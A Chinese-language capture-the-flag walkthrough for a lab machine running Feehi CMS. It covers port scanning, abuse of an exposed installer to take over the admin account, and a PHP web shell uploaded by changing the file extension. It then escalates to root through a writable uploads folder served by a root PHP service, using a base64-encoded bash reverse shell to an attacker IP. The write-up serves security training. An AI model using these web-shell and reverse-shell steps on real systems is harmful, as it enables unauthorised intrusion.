

Cms

端口探测

```
(root@kali)-[~]  
└─# nmap -n -Pn -sVC -p- --min-rate 5000 192.168.56.115  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-16 06:16 -0400  
Nmap scan report for 192.168.56.115  
Host is up (0.00030s latency).  
Not shown: 65533 closed tcp ports (reset)  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)  
80/tcp    open  http     nginx  
|_http-title: Feehi CMS  
| http-robots.txt: 1 disallowed entry  
|_/  
MAC Address: 08:00:27:FF:BD:03 (Oracle VirtualBox virtual NIC)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at  
https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
```

SHELL

没有什么特殊的东西，看一下web是一个cms系统，扫一下目录：

```
/admin          302 → login  
/.gitignore     200  
/install.php    302 → /install.php?r=site%2Fchoose-language  
/timthumb.php   200
```

SHELL

发现一个 `install.php`，`/admin`，`/admin` 端口是后台管理员登录，有验证码不好爆破。

安装

`install.php` 是cms安装向导，可以直接自定义管理员账号密码安装服务。

1 检查环境

2 填写信息

3 完成安装

数据库配置

数据库类型:	MySQL	推荐MySQL
数据库地址:	localhost	数据库地址, SQLite为路径, 如 /path/to/feehi.db, 其他数据库一般为localhost
数据库端口:	3306	一般MySQL 3306, PostgreSQL 5432
数据库用户名:	root	
数据库密码:		
数据库名:	feehi	
表前缀:	feehi_	

网站配置

网站标题:	Feehi CMS	
网站地址:	//192.168.56.116/	请以 "/" 结尾
网站关键词:	FeehiCMS.php,内容管理框架,cn	
网站描述:	FeehiCMS是一款基于yii2的高性	

管理员配置

用户名:	admin
密码:	
重复密码:	
邮箱:	

原服务应该使用 **MySQL** 安装的, 这里再用的话会因为占用报错, 直接新开一个 **sqlite** 即可。

sqlite 需要填写具体的目录, 随便填一个后再打开 **/admin** 路由就会报错, 不过报错里能得到当前工作目录 **/opt/cms/vendor/yiisoft/yii2/web**, 在这个目录下创建数据库: **/opt/cms/vendor/yiisoft/yii2/web/feehi.db** 就能登录了。

弱口令登录

admin:123456

登录到后台

等待安装完成, 就能登录到后台了。

后台有个广告管理，这里能上传图片，上传图片马，抓包改后缀为 **php** 就能上传成功了，直接写个反弹shell。

得到 **user flag**。

SHELL

```
www-data@Cms:/opt/cms/frontend/web$ cat /home/simple/user.txt
flag{user-84d6e7fb1c982b91fffc3e28090fa732}
```

后台服务

SHELL

```
www-data@Cms:/opt/cms/frontend/web$ ls -la /opt
total 16
drwxr-xr-x  4 root    root    4096 Sep 13 08:46 .
drwxr-xr-x 18 root    root    4096 Sep 13 07:47 ..
drwxr-xr-x 12 www-data www-data 4096 Sep 13 08:33 cms
drwxr-xr-x 12 root     root    4096 Sep 13 08:33 feehicms
```

在 **/opt** 目录下发现另一个 **feehicms**，看看 **systemd** 服务：

SHELL

```
www-data@Cms:/opt/cms/frontend/web$ cat /etc/systemd/system/feehicms.service
[Unit]
Description=FeehiCMS Web Service
After=network.target

[Service]
Type=simple
User=root
WorkingDirectory=/opt/feehicms/frontend/web
ExecStart=/usr/bin/php -S 127.0.0.1:8080 -t /opt/feehicms/frontend/web
/opt/feehicms/frontend/web/router.php
Restart=always
RestartSec=2

[Install]
WantedBy=multi-user.target
```

提权

/opt/feehicms/frontend/web/uploads 是可写的，而且能够被这个 **root feehicms** 访问，再写一份php马反弹shell出来即可。

SHELL

```

www-data@Cms:/opt/cms/frontend/web$ ls -al /opt/feehicms/frontend/web/
total 120
drwxr-xr-x  8 root root  4096 Sep 13 09:05 .
drwxr-xr-x 12 root root  4096 Sep 13 06:13 ..
-rw-r--r--  1 root root   120 Sep 13 06:13 .gitignore
-rw-r--r--  1 root root   192 Sep 13 06:13 .htaccess
drwxr-xr-x  5 root root  4096 Sep 13 07:44 admin
drwxr-xr-x  3 root root  4096 Sep 13 07:44 api
drwxr-xr-x  2 root root  4096 Sep 13 07:44 apitest
drwxrwxrwx 11 root root  4096 Sep 13 09:01 assets
-rwxr-xr-x  1 root root  4286 Sep 13 06:13 favicon.ico
-rw-r--r--  1 root root   614 Sep 13 07:44 index-test.php
-rw-r--r--  1 root root   613 Sep 13 07:44 index.php
-rw-r--r--  1 root root   618 Sep 13 06:13 install.php
-rw-r--r--  1 root root    25 Sep 13 07:44 robots.txt
-rw-r--r--  1 root root   707 Sep 13 08:05 router.php
drwxr-xr-x  7 root root  4096 Sep 13 06:13 static
-rw-r--r--  1 root root 53017 Sep 13 06:13 timthumb.php
drwxrwxrwx  4 root root  4096 Sep 13 08:16 uploads

```

SHELL

```

www-data@Cms:/opt/cms/frontend/web$ echo "<?php system(\$_GET[\"c\"]); ?>" >
uploads/r.php
www-data@Cms:/opt/cms/frontend/web$ curl -s
"http://127.0.0.1:8080/uploads/r.php?c=id"
uid=0(root) gid=0(root) groups=0(root)
www-data@Cms:/opt/cms/frontend/web$ curl -s
"http://127.0.0.1:8080/uploads/r.php?
c=printf+K6Jhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC41Ni4xMDQvNDQ0NCAwPiYxKSAm|base64
+-d|bash"

```

SHELL

```

root@Cms:/opt/feehicms/frontend/web/uploads# id
uid=0(root) gid=0(root) groups=0(root)
root@Cms:/opt/feehicms/frontend/web/uploads# cat /root/root.txt
flag{root-85597f493b890767b4ed6ce5cbdbac18}

```